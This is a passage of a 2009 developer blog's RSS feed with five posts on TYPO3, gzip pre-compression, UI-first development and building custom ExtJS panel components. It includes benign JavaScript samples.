		<item>
			<title>Stolen content</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/EyJBfF9oj-8/stolen-content.html</link>
			<description>Update: the stolen content is now removed from the offending site.
I was notified that a seo24.at web site republished my article about TYPO3 performance optimization as their own thus violating my copyright. Here is their copy and here is the original. Pity to see that there are still people like this one. The could have asked and got permission... (Continued on the web site)</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/stolen-content.html</guid>
			<content:encoded><![CDATA[<p><i>Update: the stolen content is now removed from the offending site.</i>
</p>
<p>I was notified that a seo24.at web site republished my article about TYPO3 performance optimization as their own thus violating my copyright. <span style="text-decoration: line-through;"><a title="Stolen article" rel="nofollow" target="_blank" href="http://www.seo24.at/8-tipps-fuer-ihren-typo3-internetauftritt/">Here is</a></span> their copy and <a href="http://dmitry-dulepov.com/article/eight-performance-tips-for-your-typo3-web-site.html" >here is</a> the original. Pity to see that there are still people like this one. The could have asked and got permission immediately. Now I have to ban them from republishing anything from this site... I like to share and promote the knowledge but I hate content stealing in any form.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/EyJBfF9oj-8" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Wed, 24 Jun 2009 22:40:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/stolen-content.html</feedburner:origLink></item>
		
		<item>
			<title>When TYPO3 gurus cannot help you</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/8xxvxSiyV58/when-typo3-gurus-cannot-help-you.html</link>
			<description>The worst problem when the project is subcontracted, is when the middle party thinks it knows the solution better than the expert they hire for the actual work.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/when-typo3-gurus-cannot-help-you.html</guid>
			<content:encoded><![CDATA[<p>I am working with TYPO3 since year 2003. I worked for several agencies and individuals during this time. I am one of the best TYPO3 experts. This is what people say about me, not what I say about myself (I never really wanted to become a TYPO3 expert, it just happened).
</p>
<p>I learned a lot of things while working for many people using TYPO3. Among others, there is one most important learned thing: most people <i>think</i> they know the right solution and they only ask TYPO3 experts (like me) to implement that solution. Typically they say: &quot;We want you to make this thing to work like that&quot;. They think that the problem will be solved and their own customer will be fully satisfied. They are wrong, of course.
</p>
<p>Time goes, I implement what I was asked to implement precizely to the last dot. Their customer says that the solution is a complete crap. The company who ordered the solution to me says that I need to implement something else. Again, they decide on the solution themselves and refuse to let me know the original requirements of the customer. Ok, they are clients for me, so I do what they ask. Their customer is dissatisfied again. Now the company who orders my services starts to think who did wrong. Of course, they will blame me in such case. Usually I show them their own requirements and ask to point me where I screwed up. Of course, they fail to show it because I implemented everything exactly as I was asked.&nbsp;Finally they tell me what their customer wants. I ask a couple of questions and we all find that the solution could me much cheaper, faster and easier than they planned and asked me to make. But now they have to pay me for the already made work plus the new work! And most likely the customer will not come back to them again because they screwed up at least twice.
</p>
<p>What's the idea behind all this?</p><div class="indent"><p><b>If you hire an expert, let him choose how to solve your problem</b>.</p></div><p> You may think you know how to solve it but it is not necessarily the best way. Pride is not the best thing in business and it is definitely not professional to hire a more competent person for mechanical work. Experts are there not to code you yet another workspaces tweak, they are to solve your initial problem using the most efficient, simple and bullet–proof way.
</p>
<p>Don't use a brick of gold as a hummer! Tell me <b>what</b> you want to achieve, not <b>how</b> you <i>think</i> it can be achieved. I may give you a better solution because I am an expert. It is my job to give you a better solution when it comes to TYPO3. Have your client and charge him! But let me find a way to leave your client satisfied and your business growing! Be smart, not proud.
</p>
<p>Don't say me how to do it, say me what your customer wants and I will solve it for you and him!</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/8xxvxSiyV58" height="1" width="1"/>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Sun, 14 Jun 2009 21:31:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/when-typo3-gurus-cannot-help-you.html</feedburner:origLink></item>
		
		<item>
			<title>Does gzip compression speed up or slow down your web site?</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/nddzFEM14yo/does-gzip-compression-speed-up-or-slow-down-your-web-site.html</link>
			<description>Gzip compression can be useful or harmful. Using gzip may improve page loading time at the cost of increasing server load.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/does-gzip-compression-speed-up-or-slow-down-your-web-site.html</guid>
			<content:encoded><![CDATA[<p>Gzip is a good way to make your web site faster. It may decrease the size of downlodable documents by half. This seriously speeds up the loading of the site because network delays affects the performance (and user satisfaction) most.
</p>
<p>But there is a drawback of the gzip compression that many people do not realize.
</p>
<p>In the early Apache 1.x days mod_gzip had a very nice feature: file cache for the compressed content. mod_deflate in&nbsp;Apache 2 does not have any caching for the compressed content. It means that downloading 500KB of ExtJS with compression means compression this file each time. If there is no client cache or mod_proxy, this becomes a major problem. It seriously increases the load on the server. Also it slows down the response time because the file has to be compressed each time. It is a serious issue to consider for large web sites. Even client caching is not a solution.
</p>
<p>The solution that I use for such cases is a pre–compression of such files. Then I use a mod_rewrite checks and rules to rewrite requests to these files to their compressed versions. It speeds up the loading (by 1-2 seconds in case of ExtJS).</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/nddzFEM14yo" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Fri, 12 Jun 2009 10:13:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/does-gzip-compression-speed-up-or-slow-down-your-web-site.html</feedburner:origLink></item>
		
		<item>
			<title>Developing from UI</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/KjghLYqsrAk/developing-from-ui.html</link>
			<description>Developing from UI to the internal implementation helps to create better user interfaces and increase customer's satisfaction</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/developing-from-ui.html</guid>
			<content:encoded><![CDATA[<p>How does the usual development of the product starts in the Open Source community? Typically there are some wishes (requirements in the best case). Next coding starts. When the code is more or less ready, development of the UI starts. The UI reflects internal technical implementation. In particular, this is how TYPO3 was built and how many TYPO3 extensions are still built today.
</p>
<p>Recently I decided to change my development practices completely. Earlier I followed the traditional way: PHP implementation first, UI last. Now I do the opposite: UI first, PHP next.
</p>
<p>The interesting consequences of this methods are:</p><ul><li>UI becomes more friendly to the user. This happens because the UI is not affected or limited by the underlying PHP implementation. User's satisfaction is a very important factor these days. Anyone can build the application these days. Those who can do it more friendly — win.</li><li>PHP implementation now serves the UI, not the opposite. It makes PHP code more structured because it becomes task–oriented. Also it speeds up the implementation time because I can develop task by task.</li></ul><p>When the UI uses ExtJS, such development tactics become even more efficient. For example, for the rest application I completely created the UI part using static JSON files for the sample data. Now I implement PHP part for each UI part. I implement only what is necessary for the UI, not what <i>could</i> be necessary. Simple, fast and effective.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/KjghLYqsrAk" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Thu, 11 Jun 2009 09:54:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/developing-from-ui.html</feedburner:origLink></item>
		
		<item>
			<title>Making custom ExtJS components using panels</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/KcZi-FBM_UM/making-custom-extjs-components-using-panels.html</link>
			<description>One of the principles of the object–oriented programming says that the functionality should be encapsulated into a component and handled by the component. It helps to keep the functionality in one place and modify it easily or rewrite/replace it completely without affecting other parts of an application.
Since ExtJS is an object–oriented... (Continued on the web site)</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/making-custom-extjs-components-using-panels.html</guid>
			<content:encoded><![CDATA[<p>One of the principles of the object–oriented programming says that the functionality should be encapsulated into a component and handled by the component. It helps to keep the functionality in one place and modify it easily or rewrite/replace it completely without affecting other parts of an application.
</p>
<p>Since ExtJS is an object–oriented JavaScript framework, the same principle should be used there.
</p>
<p> Recently I had to create a numerous ExtJS components for one project. There are numerous ExtJS examples on the web, which show complex components but often they do not&nbsp;follow the encapsulation principle. I decided to make it the &quot;right way&quot; and I am going to show how.
</p>
<h2>ExtJS panels in action</h2>
<p>ExtJS panels is the most generic way to display content in ExtJS. Panel can either show an HTML content or serve as a container for other items (such as grids, trees, charts, etc). Imagine you need to put a data view into the panel and next put the panel to a tab panel. This is how many example will suggest it to be:
</p>
<p class="csc-frame-frame2">var tabPanel = ...;<br />var panel = new Ext.Panel({<br />&nbsp; &nbsp; ...<br />&nbsp;&nbsp;&nbsp; items: new Ext.DataView({<br />&nbsp; &nbsp; &nbsp; &nbsp; ...<br /> &nbsp; &nbsp; &nbsp; &nbsp; store: new Ext.data.JsonStore({<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...<br />&nbsp; &nbsp; &nbsp; &nbsp; }),<br /> &nbsp; &nbsp; &nbsp; &nbsp; tpl: new Ext.XTemplate(<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '&lt;ul&gt;',<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '&lt;tpl for=&quot;.&quot;&gt;',<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; '&lt;li&gt;{mydata}&lt;/li&gt;',<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; '&lt;/tpl&gt;',<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '&lt;/ul&gt;',<br /> &nbsp; &nbsp; &nbsp; &nbsp; ),<br />&nbsp; &nbsp; &nbsp; &nbsp; ...<br />&nbsp; &nbsp; }),<br />&nbsp; &nbsp; ...<br />});<br />tabPanel.add(panel).show();</p>
<p>This works. However if you need to change the template or if the store has a lot of fields, the whole piece of code becomes huge and eventually unmaintaibable. It may spread over hundreds of lines.
</p>
<p>How to make it better?
</p>
<h2>ExtJS panels as a custom component</h2>
<p>The solution is to make a custom component from the ExtJS panel. For that we create a separate file (not a requirement but convenience) and place the following content there:
</p>
<p class="csc-frame-frame2">Ext.onReady(function() {<br />&nbsp;&nbsp;&nbsp; Ext.namespace('example');<br /><br />&nbsp;&nbsp;&nbsp; example.MyComponent = Ext.extend(Ext.Panel, {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Put panel specific options here, for example:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; autoHeight: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bodyBorder: false,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; collapsible: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cls: 'my-component',<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; collapsible: true<br />&nbsp;&nbsp;&nbsp; });<br />});</p>
<p>That isolates component–specific options inside the component. However it lacks the <span class="inline-code">DataView</span>. The reason for it is simple. When overriding panels, you can't set <span class="inline-code">items</span> property of the panel. ExtJS will override it in the <span class="inline-code">Panel</span> constructor with a <span class="inline-code">null</span> value. On order to create items you have to override the <span class="inline-code">initComponent</span> method like this:
</p>
<p class="csc-frame-frame2">Ext.onReady(function() {<br />&nbsp;&nbsp;&nbsp; Ext.namespace('example');<br /><br />&nbsp;&nbsp;&nbsp; example.MyComponent = Ext.extend(Ext.Panel, {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Put panel specific options here, for example:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; autoHeight: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bodyBorder: false,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; collapsible: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cls: 'my-component',<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; collapsible: true,<br /><br /><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Initializes the component.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; initComponent: function() {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.items = new Ext.DataView({<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; });<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; example.MyComponent.superclass.initComponent.call(this, arguments);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br /></b>&nbsp;&nbsp;&nbsp; });<br />});</p>
<p>Notice that we must call parent class method in order to initialize the panel.
</p>
<p>Now we encapsulated all component–specific options inside the component. Later if we decided to change <span class="inline-code">DataView</span> to <span class="inline-code">GridPanel</span>, we can do it easily inside a separate file without worrying about side effects on the rest of the application.
</p>
<p><i>This is a first of my articles about ExtJS. I work with ExtJS much more than with TYPO3 these days and for some time will focus on ExtJS programming. If anyone has questions about ExtJS, you are welcome to <a href="http://dmitry-dulepov.com/contact.html" title="Opens internal link in current window" class="internal-link" >send</a> them to me and I will try to cover them on the blog.</i></p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/KcZi-FBM_UM" height="1" width="1"/>]]></content:encoded>
			<category>ExtJS</category>
			
			
			<pubDate>Wed, 03 Jun 2009 10:05:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/making-custom-extjs-components-using-panels.html</feedburner:origLink></item>
		
	</channel>
</rss>
